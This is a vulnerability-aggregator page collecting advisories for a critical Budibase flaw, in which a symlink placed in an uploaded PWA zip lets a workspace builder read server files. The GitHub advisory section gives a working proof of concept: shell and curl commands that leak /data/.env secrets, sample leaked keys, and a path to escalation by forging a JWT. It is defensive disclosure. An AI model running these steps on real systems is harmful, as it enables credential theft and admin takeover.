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Budibase: Arbitrary file read by workspace-builder via PWA-zip symlink upload

CVSS 3.1 9.6 CRITICALEUVD CVSS 3.1 9.6 CVSS 3.1 · [email protected] · Secondary 9.6 CRITICALCVSS_V3 Publisher rating CRITICALFixed by @budibase/server 3.39.9KEV status unknown

cve-program · CVE-2026-54352

Published

Budibase is an open-source low-code platform. Prior to 3.39.9, `POST /api/pwa/process-zip` at packages/server/src/api/routes/static.ts:24 accepts a builder-uploaded .zip, extracts it with [email protected] into a temp directory, then for each entry listed in icons.json validates the icon path, opens it, and streams the bytes into MinIO. The resulting object is served back via GET /api/assets/{appId}/pwa/{uuid}.png. [email protected] preserves absolute symlink targets when restoring symlink entries. The icon-source validator at packages/server/src/api/controllers/static/index.ts:259-268 resolves the icon source string against baseDir (path.resolve), checks resolvedSrc.startsWith(baseDir + path.sep) against that string, and calls fs.existsSync(resolvedSrc) which follows symbolic links to confirm the target exists. None of the three calls reject symbolic-link entries. packages/backend-core/src/objectStore/objectStore.ts:302 then calls (await fsp.open(path)).createReadStream() on the resolved path. fsp.open follows the symlink, the target file's bytes stream into MinIO, and the response of the asset-fetch endpoint returns those bytes verbatim. Result: a workspace-level builder reads any file the server process can open. This vulnerability is fixed in 3.39.9.

Read the publisher's advisory

euvd · EUVD-2026-39910

Published

Budibase is an open-source low-code platform. Prior to 3.39.9, `POST /api/pwa/process-zip` at packages/server/src/api/routes/static.ts:24 accepts a builder-uploaded .zip, extracts it with [email protected] into a temp directory, then for each entry listed in icons.json validates the icon path, opens it, and streams the bytes into MinIO. The resulting object is served back via GET /api/assets/{appId}/pwa/{uuid}.png. [email protected] preserves absolute symlink targets when restoring symlink entries. The icon-source validator at packages/server/src/api/controllers/static/index.ts:259-268 resolves the icon source string against baseDir (path.resolve), checks resolvedSrc.startsWith(baseDir + path.sep) against that string, and calls fs.existsSync(resolvedSrc) which follows symbolic links to confirm the target exists. None of the three calls reject symbolic-link entries. packages/backend-core/src/objectStore/objectStore.ts:302 then calls (await fsp.open(path)).createReadStream() on the resolved path. fsp.open follows the symlink, the target file's bytes stream into MinIO, and the response of the asset-fetch endpoint returns those bytes verbatim. Result: a workspace-level builder reads any file the server process can open. This vulnerability is fixed in 3.39.9.

Read the publisher's advisory

nvd · CVE-2026-54352

Published

Budibase is an open-source low-code platform. Prior to 3.39.9, `POST /api/pwa/process-zip` at packages/server/src/api/routes/static.ts:24 accepts a builder-uploaded .zip, extracts it with [email protected] into a temp directory, then for each entry listed in icons.json validates the icon path, opens it, and streams the bytes into MinIO. The resulting object is served back via GET /api/assets/{appId}/pwa/{uuid}.png. [email protected] preserves absolute symlink targets when restoring symlink entries. The icon-source validator at packages/server/src/api/controllers/static/index.ts:259-268 resolves the icon source string against baseDir (path.resolve), checks resolvedSrc.startsWith(baseDir + path.sep) against that string, and calls fs.existsSync(resolvedSrc) which follows symbolic links to confirm the target exists. None of the three calls reject symbolic-link entries. packages/backend-core/src/objectStore/objectStore.ts:302 then calls (await fsp.open(path)).createReadStream() on the resolved path. fsp.open follows the symlink, the target file's bytes stream into MinIO, and the response of the asset-fetch endpoint returns those bytes verbatim. Result: a workspace-level builder reads any file the server process can open. This vulnerability is fixed in 3.39.9.

Read the publisher's advisory

osv · GHSA-w7mq-r738-x278

Published

## Summary `POST /api/pwa/process-zip` at `packages/server/src/api/routes/static.ts:24` accepts a builder-uploaded `.zip`, extracts it with `[email protected]` into a temp directory, then for each entry listed in `icons.json` validates the icon path, opens it, and streams the bytes into MinIO. The resulting object is served back via `GET /api/assets/{appId}/pwa/{uuid}.png`. `[email protected]` preserves absolute symlink targets when restoring symlink entries. The icon-source validator at `packages/server/src/api/controllers/static/index.ts:259-268` resolves the icon source string against `baseDir` (`path.resolve`), checks `resolvedSrc.startsWith(baseDir + path.sep)` against that string, and calls `fs.existsSync(resolvedSrc)` which follows symbolic links to confirm the target exists. None of the three calls reject symbolic-link entries, so an entry stored at `baseDir/evil.png` but pointing at `/data/.env` passes the gate. `packages/backend-core/src/objectStore/objectStore.ts:302` then calls `(await fsp.open(path)).createReadStream()` on the resolved path. `fsp.open` follows the symlink, the target file's bytes stream into MinIO, and the response of the asset-fetch endpoint returns those bytes verbatim. Result: a workspace-level builder reads any file the server process can open (root inside the default Docker image, including `/data/.env` with `JWT_SECRET`, `INTERNAL_API_KEY`, `MINIO_*`, `REDIS_PASSWORD`, `COUCHDB_PASSWORD`, `DATABASE_URL`) by uploading one crafted PWA zip. ## Affected `Budibase/budibase` server, `@budibase/server` package, `<= 3.39.0` (HEAD `feab995`, released 2026-05-20). Reachable in stock self-hosted deployments. The default `budibase/budibase:latest` Docker image runs the Node server as `root` inside the container; the server process opens `/etc/passwd`, `/etc/shadow`, `/data/.env`, and every other root-readable file. Reachable from any account with the workspace-builder permission on at least one app. Not affected: managed cloud-hosted Budibase tenants where the file-system root is sandboxed away from secret material. ## Root cause `packages/server/src/api/routes/static.ts:24`: `.post("/api/pwa/process-zip", authorized(BUILDER), controller.processPWAZip)` exposes the endpoint to any workspace builder; the only permission required is `BUILDER`. `packages/server/src/api/controllers/static/index.ts:235`: `await extract(filePath, { dir: tempDir })` calls `[email protected]`, which preserves absolute symlink targets when restoring symlink entries. `packages/server/src/api/controllers/static/index.ts:259-268`: the icon validator (`path.resolve` + `resolvedSrc.startsWith(baseDir + path.sep)` + `fs.existsSync`) operates on the resolved string path and on `fs.existsSync` (which follows symbolic links). A symlink stored under `baseDir` whose target points anywhere reachable by the server passes the gate as long as the target exists. `packages/backend-core/src/objectStore/objectStore.ts:302`: `(await fsp.open(path)).createReadStream()` follows the symlink and streams the target file's bytes; the object lands in MinIO under `{appId}/pwa/{uuid}{extension}` and is served by `GET /api/assets/{appId}/pwa/{uuid}.{ext}` (`packages/server/src/api/routes/static.ts:21`). `hosting/single/Dockerfile`: the production single-container image runs the Node server as `root`, so the read primitive reaches `/etc/shadow`, `/data/.env`, and every other root-readable path. ## Reproduction `budibase/budibase:latest` (`v3.39.0`) Docker single-container on `localhost:10000`, default config, with any workspace builder logged in. Cookie jar and `<CSRF>` token come from `GET /api/global/self`. 1. Builder uploads a zip containing one symlink entry that targets `/data/.env`, plus an `icons.json` that references the symlink. ```bash mkdir attack && cd attack ln -s /data/.env evil.png printf '{"name":"x","icons":[{"src":"evil.png","sizes":"192x192","type":"image/png"}]}' > icons.json zip -y attack.zip icons.json evil.png curl -s "http://localhost:10000/api/pwa/process-zip" \ -b cookies.txt \ -H "x-budibase-app-id: <appId>" \ -H "x-csrf-token: <CSRF>" \ -F "[email protected]" ``` ```json {"icons":[{"src":"<appId>/pwa/c9370128-885a-48bc-bd1c-5522f4c8020f.png","sizes":"192x192","type":"image/png"}]} ``` 2. Builder fetches the resulting "icon". ```http GET /api/assets/<appId>/pwa/c9370128-885a-48bc-bd1c-5522f4c8020f.png HTTP/1.1 Host: localhost:10000 Cookie: budibase:auth=<JWT>; budibase:auth.sig=<SIG> ``` ``` COUCHDB_USER=admin COUCHDB_PASSWORD=admin MINIO_ACCESS_KEY=bd501fa31bf44a7e8beb6f7b628c6def MINIO_SECRET_KEY=bf754d8f29434fc997225e10f55de778 INTERNAL_API_KEY=e9580f58b18b4371868aa3442c57522c JWT_SECRET=c5441dc903f845bdb93a98b949a612b2 REDIS_PASSWORD=50739fb539504149a5fd85c85fe6750c DATABASE_URL=postgresql://llmproxy:[email protected]:5432/litellm ``` Live-verified: the response body of the asset-fetch endpoint is byte-identical to `docker exec budibase cat /data/.env`; `/etc/passwd` and `/etc/shadow` extract via the same primitive when their permissions allow root reads. ## Impact - Disclosure of `/data/.env`: `JWT_SECRET`, `INTERNAL_API_KEY`, `MINIO_ACCESS_KEY`, `MINIO_SECRET_KEY`, `REDIS_PASSWORD`, `COUCHDB_PASSWORD`, `LITELLM_MASTER_KEY`, `DATABASE_URL`. - HS256 JWT forge with the leaked `JWT_SECRET` against any user id, including the global admin: scope-changing escalation from workspace-builder to global-admin. - Cross-tenant exposure on multi-tenant installs once the global-admin forge succeeds. - Disclosure of `/etc/passwd` and `/etc/shadow` via the same primitive when the container runs as `root` (the shipped default). ## Credit Jan Kahmen, [turingpoint](https://turingpoint.de) ([email protected]).

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Affected versions, risk and source history

cve-program · CVE-2026-54352

Published

budibase

Vendor product

Publisher's version information

Shown as published. These rules are not interpreted as NuGet package version ranges.

{
                    "vendor": "Budibase",
                    "product": "budibase",
                    "versions": [
                        {
                            "version": "< 3.39.9",
                            "status": "affected"
                        }
                    ]
                }

Original source record · Cite this exact observation · Complete original publisher JSON

euvd · EUVD-2026-39910

Published

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: Jun 26, 2026, 8:32:51 PM

dateUpdated: Jun 27, 2026, 3:12:11 AM

1 related source bulletins · separate from aliases

WID-SEC-W-2026-1806: Budibase: Mehrere Schwachstellen

CVE-2026-54353 · CVE-2026-54352 · CVE-2026-54351

No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.

Original source record · Cite this exact observation · Complete original publisher JSON

nvd · CVE-2026-54352

Published

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Analyzed

Weakness classifications: CWE-22 · CWE-59

Original publisher date fields

published: 2026-06-26T21:16:35.293

lastModified: 2026-06-30T20:00:57.463

1 source CPE criteria · context only
  • cpe:2.3:a:budibase:budibase:*:*:*:*:*:*:*:*

The original JSON retains the logical configuration operators, exclusions and version bounds.

No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.

Original source record · Cite this exact observation · Complete original publisher JSON

osv · GHSA-w7mq-r738-x278

Published

@budibase/server

npm

SEMVER · introduced 0 → fixed 3.39.9

Original source record · Cite this exact observation · Complete original publisher JSON

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

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